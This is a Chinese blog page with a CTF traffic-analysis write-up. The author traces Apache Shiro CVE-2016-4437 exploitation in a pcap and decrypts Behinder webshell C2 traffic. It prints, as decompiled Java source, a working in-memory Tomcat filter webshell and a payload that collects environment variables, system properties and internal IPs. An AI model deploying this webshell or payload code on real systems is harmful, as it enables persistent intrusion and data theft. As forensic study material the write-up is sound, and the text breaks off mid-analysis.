首页
隐私政策
iYoRoy DN42 Network
关于
更多
友情链接
Language
简体中文
English
Search
1
Docker下中心化部署EasyTier
2,887 阅读
2
给Android 4.9内核添加KernelSU支持
1,868 阅读
3
记一次为Android 4.9内核的ROM启用erofs支持
534 阅读
4
在TrueNAS上使用Docker安装1Panel
527 阅读
5
为博客启用Cloudflare SaaS接入实现国际分流
519 阅读
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
登录
Search
标签搜索
网络技术
BIRD
BGP
Linux
DN42
C&C++
Android
OSPF
Windows
CTF
Docker
Web
AOSP
网络安全
MSVC
服务
Kernel
caf/clo
IGP
TrueNAS
神楽悠笙
累计撰写
30
篇文章
累计收到
20
条评论
首页
栏目
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
页面
隐私政策
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
搜索到
3
篇与
的结果
2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp
第一层: Apache Shiro CVE-2016-4437 打开pcapng抓包文件,发现大部分都是HTTP。尝试过滤所有HTTP请求: _ws.col.protocol == "HTTP" 发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico,打开发现携带Payload: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... 尝试直接Base64解密,发现疑似加密了,无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求: http.request.method == "POST" 发现第5009个HTTP流POST向了/,打开发现: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... 等等一系列请求。 根据其JSESSIONID可知是Java后端,根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞(CVE-2016-4437)。前面部分在进行爆破,尝试得到其AES加密的Key。往后翻,可找到: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... 服务端返回: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... 没有再Set-Cookie,表明这里已经成功碰撞出了AES密钥。往后还有 GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... 服务端返回: HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> 对cm9vdAo=进行Base64解密,可得到:root,对Authorization头里的d2hvYW1p解密,可得到whoami,发现这里已经实现了RCE。 随后分别执行并返回了: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 发现并没有什么有用的信息。 之后发送了一个: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D 服务端返回了: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- 之后就没有类似的包了,推测是挂了个马。 第二层: 冰蝎 WebShell 内存马 对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类,导出后尝试使用Jadx打开,可得到: {collapse} {collapse-item label="代码部分 - 点击展开"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} 发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密,同时若请求头中携带p,就将p的内容md5加密之后取前16位作为AES密钥。 根据上面的请求内容可知p: HWmc2TLDoihdlr0N,md5加密得到1f2c8075acd3d118674e99f8e61b9596,取前16位即1f2c8075acd3d118就是AES密码。 同时,设置了/favicondemo.ico作为C2通信地址,这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。 接着打开之前找到的POST抓包,发现第40552个HTTP Stream内包含大量往返。 编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # 去除 PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) 发现开头CAFEBABE是Java Class的文件头。用Jadx打开: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包,得到: {"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="} msg字段Base64解密得到:1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v,证明猜想正确。 接着继续解密并逆向第二个请求: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现是读取系统信息,返回值: 